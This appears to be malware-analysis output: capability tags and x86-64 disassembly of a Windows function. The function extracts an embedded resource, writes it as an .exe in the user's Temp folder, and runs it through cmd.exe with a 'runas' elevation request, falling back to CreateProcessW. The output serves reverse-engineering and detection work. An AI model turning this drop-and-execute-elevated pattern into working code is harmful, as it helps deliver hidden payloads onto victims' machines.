Function at 0x140001040
Capabilities:
Create directory
Create process on windows
Extract resource via kernel32 functions
Query environment variable
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x420]
sub rsp, 0x520
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x410], rax
xorps xmm0, xmm0
mov ebx, ecx
xor eax, eax
mov dword [rsp + 0x50], 0x65002e
mov r14d, r8d
mov dword [rbp - 0x1c], eax
mov rsi, rdx
mov qword [rsp + 0x78], rax
xor r12d, r12d
mov dword [rsp + 0x54], 0x650078
xor edx, edx
mov dword [rsp + 0x60], r12d
mov r8d, 0x208
mov word [rsp + 0x58], r12w
lea rcx, [rbp + 0x200]
movups xmmword [rbp - 0x7c], xmm0
movups xmmword [rbp - 0x6c], xmm0
movups xmmword [rbp - 0x5c], xmm0
movups xmmword [rbp - 0x4c], xmm0
movups xmmword [rbp - 0x3c], xmm0
movups xmmword [rbp - 0x2c], xmm0
movups xmmword [rsp + 0x68], xmm0
call fcn.14000e0f0
mov r8d, 0x104
lea rdx, [rbp + 0x200]
lea rcx, str.C:Users_USERNAME_AppDataLocalTemp
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
movzx edx, bx
mov r8d, 0xa
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rdx, rax
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdx, rbx
mov rcx, rdi
mov r15, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
lea rdx, [rbp + 0x200]
mov edi, eax
sub rdx, 2
cmp word [rdx + 2], r12w
lea rdx, [rdx + 2]
jne 0x140001141
xor ecx, ecx
nop
movzx eax, word [rsi + rcx*2]
mov word [rdx + rcx*2], ax
lea rcx, [rcx + 1]
test ax, ax
jne 0x140001150
xor edx, edx
lea rcx, [rbp + 0x200]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rcx, [rbp + 0x200]
sub rcx, 2
nop dword [rax + rax]
cmp word [rcx + 2], r12w
lea rcx, [rcx + 2]
jne 0x140001180
xor edx, edx
nop dword [rax]
movzx eax, word [rsi + rdx*2]
mov word [rcx + rdx*2], ax
lea rdx, [rdx + 1]
test ax, ax
jne 0x140001190
lea rcx, [rbp + 0x200]
sub rcx, 2
nop dword [rax]
cmp word [rcx + 2], r12w
lea rcx, [rcx + 2]
jne 0x1400011b0
lea r8, [rsp + 0x50]
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, word [r8 + rdx*2]
mov word [rcx + rdx*2], ax
lea rdx, [rdx + 1]
test ax, ax
jne 0x1400011d0
mov qword [rsp + 0x30], r12
lea rcx, [rbp + 0x200]
mov dword [rsp + 0x28], r12d
xor r9d, r9d
mov edx, 0xc0000000
mov dword [rsp + 0x20], 2
mov r8d, 7
call qword [sym.imp.KERNEL32.dll_CreateFileW]
lea r9, [rsp + 0x60]
mov qword [rsp + 0x20], r12
mov rcx, rax
mov r8d, edi
mov rdx, r15
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r14d, r14d
je 0x1400012eb
xor edx, edx
lea rcx, [rbp - 8]
mov r8d, 0x200
call fcn.14000e0f0
lea rax, [rbp - 0x10]
mov dword [rbp - 0x10], 0x6b002f
sub rax, 2
mov dword [rbp - 0xc], 0x220020
mov r9d, 0x22
nop word [rax + rax]
cmp word [rax + 2], r12w
lea rax, [rax + 2]
jne 0x140001270
lea r8, [rbp + 0x200]
xor edx, edx
nop dword [rax]
nop dword [rax + rax]
movzx ecx, word [r8 + rdx*2]
mov word [rax + rdx*2], cx
lea rdx, [rdx + 1]
test cx, cx
jne 0x140001290
lea rcx, [rbp - 0x10]
mov rax, 0xffffffffffffffff
nop dword [rax]
cmp word [rcx + rax*2 + 2], r12w
lea rax, [rax + 1]
jne 0x1400012b0
mov word [rbp + rax*2 - 0x10], r9w
lea r8, str.C:WindowsSystem32cmd.exe
lea r9, [rbp - 0x10]
mov dword [rsp + 0x28], r12d
lea rdx, str.runas
mov qword [rsp + 0x20], r12
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jg 0x14000132e
lea rax, [rsp + 0x68]
mov dword [rbp - 0x80], 0x68
mov qword [rsp + 0x48], rax
lea rcx, [rbp + 0x200]
lea rax, [rbp - 0x80]
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov qword [rsp + 0x38], r12
xor edx, edx
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
xor eax, eax
mov rcx, qword [rbp + 0x410]
xor rcx, rsp
call fcn.140001370
lea r11, [rsp + 0x520]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret